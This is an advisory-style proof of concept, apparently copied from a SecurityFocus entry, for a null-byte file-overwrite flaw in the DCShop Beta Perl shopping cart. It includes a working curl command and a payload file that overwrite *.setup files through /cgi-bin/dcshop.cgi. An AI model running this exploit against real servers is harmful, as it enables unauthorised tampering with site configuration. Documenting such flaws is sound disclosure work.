9 lines
No EOL
566 B
Text
9 lines
No EOL
566 B
Text
source: https://www.securityfocus.com/bid/4356/info
|
|
|
|
DCShop Beta is a freely available shopping cart system, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.
|
|
|
|
It is possible to overwrite setup files (*.setup) by submitting attacker-supplied form data followed by a null character (%00). The attacker must use the POST method to submit data that is content-type multipart/form-data compliant.
|
|
|
|
curl -F database=@test.txt http://host/cgi-bin/dcshop.cgi
|
|
|
|
where test.txt contains databasename.setup[nullbyte]. |